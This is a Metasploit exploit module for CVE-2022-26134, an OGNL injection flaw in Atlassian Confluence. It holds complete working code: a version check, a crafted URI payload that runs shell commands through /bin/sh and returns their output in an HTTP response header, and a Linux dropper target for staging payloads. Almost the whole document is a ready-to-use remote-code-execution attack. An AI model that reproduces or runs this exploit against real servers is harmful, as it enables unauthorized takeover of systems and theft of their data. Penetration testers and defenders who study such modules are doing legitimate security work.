Atlassian Confluence Namespace OGNL Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Atlassian Confluence Namespace OGNL Injection',  
'Description' => %q{  
This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to  
evaluate an OGNL expression resulting in OS command execution.  
},  
'Author' => [  
'Unknown', # exploited in the wild  
'bturner-r7',  
'jbaines-r7',  
'Spencer McIntyre'  
],  
'References' => [  
['CVE', '2021-26084'],  
['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'],  
['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'],  
['URL', 'https://github.com/jbaines-r7/through_the_wire'],  
['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis']  
],  
'DisclosureDate' => '2022-06-02',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :cmd  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :dropper  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8090  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
version = get_confluence_version  
return CheckCode::Unknown unless version  
  
vprint_status("Detected Confluence version: #{version}")  
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"  
res = inject_ognl('', header: header) # empty command works for testing, the header will be set  
  
return CheckCode::Unknown unless res  
  
unless res && res.headers.include?(header)  
return CheckCode::Safe('Failed to test OGNL injection.')  
end  
  
CheckCode::Vulnerable('Successfully tested OGNL injection.')  
end  
  
def get_confluence_version  
return @confluence_version if @confluence_version  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login.action')  
)  
return nil unless res&.code == 200  
  
poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text  
return nil unless poweredby =~ /Confluence (\d+(\.\d+)*)/  
  
@confluence_version = Rex::Version.new(Regexp.last_match(1))  
@confluence_version  
end  
  
def exploit  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
  
case target['Type']  
when :cmd  
execute_command(payload.encoded)  
when :dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"  
res = inject_ognl(cmd, header: header)  
  
unless res && res.headers.include?(header)  
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")  
end  
  
vprint_good("Successfully executed command: #{cmd}")  
res.headers[header]  
end  
  
def inject_ognl(cmd, header:)  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl_payload(cmd, header: header)), 'dashboard.action'),  
'headers' => { header => cmd }  
)  
end  
  
def ognl_payload(_cmd, header:)  
<<~OGNL.gsub(/^\s+/, '').tr("\n", '')  
${  
Class.forName("com.opensymphony.webwork.ServletActionContext")  
.getMethod("getResponse",null)  
.invoke(null,null)  
.setHeader("#{header}",  
Class.forName("javax.script.ScriptEngineManager")  
.newInstance()  
.getEngineByName("js")  
.eval("java.lang.Runtime.getRuntime().exec([  
#{target['Platform'] == 'win' ? "'cmd.exe','/c'" : "'/bin/sh','-c'"},  
com.opensymphony.webwork.ServletActionContext.getRequest().getHeader('#{header}')  
]); '#{Faker::Internet.uuid}'")  
)  
}  
OGNL  
end  
end  
`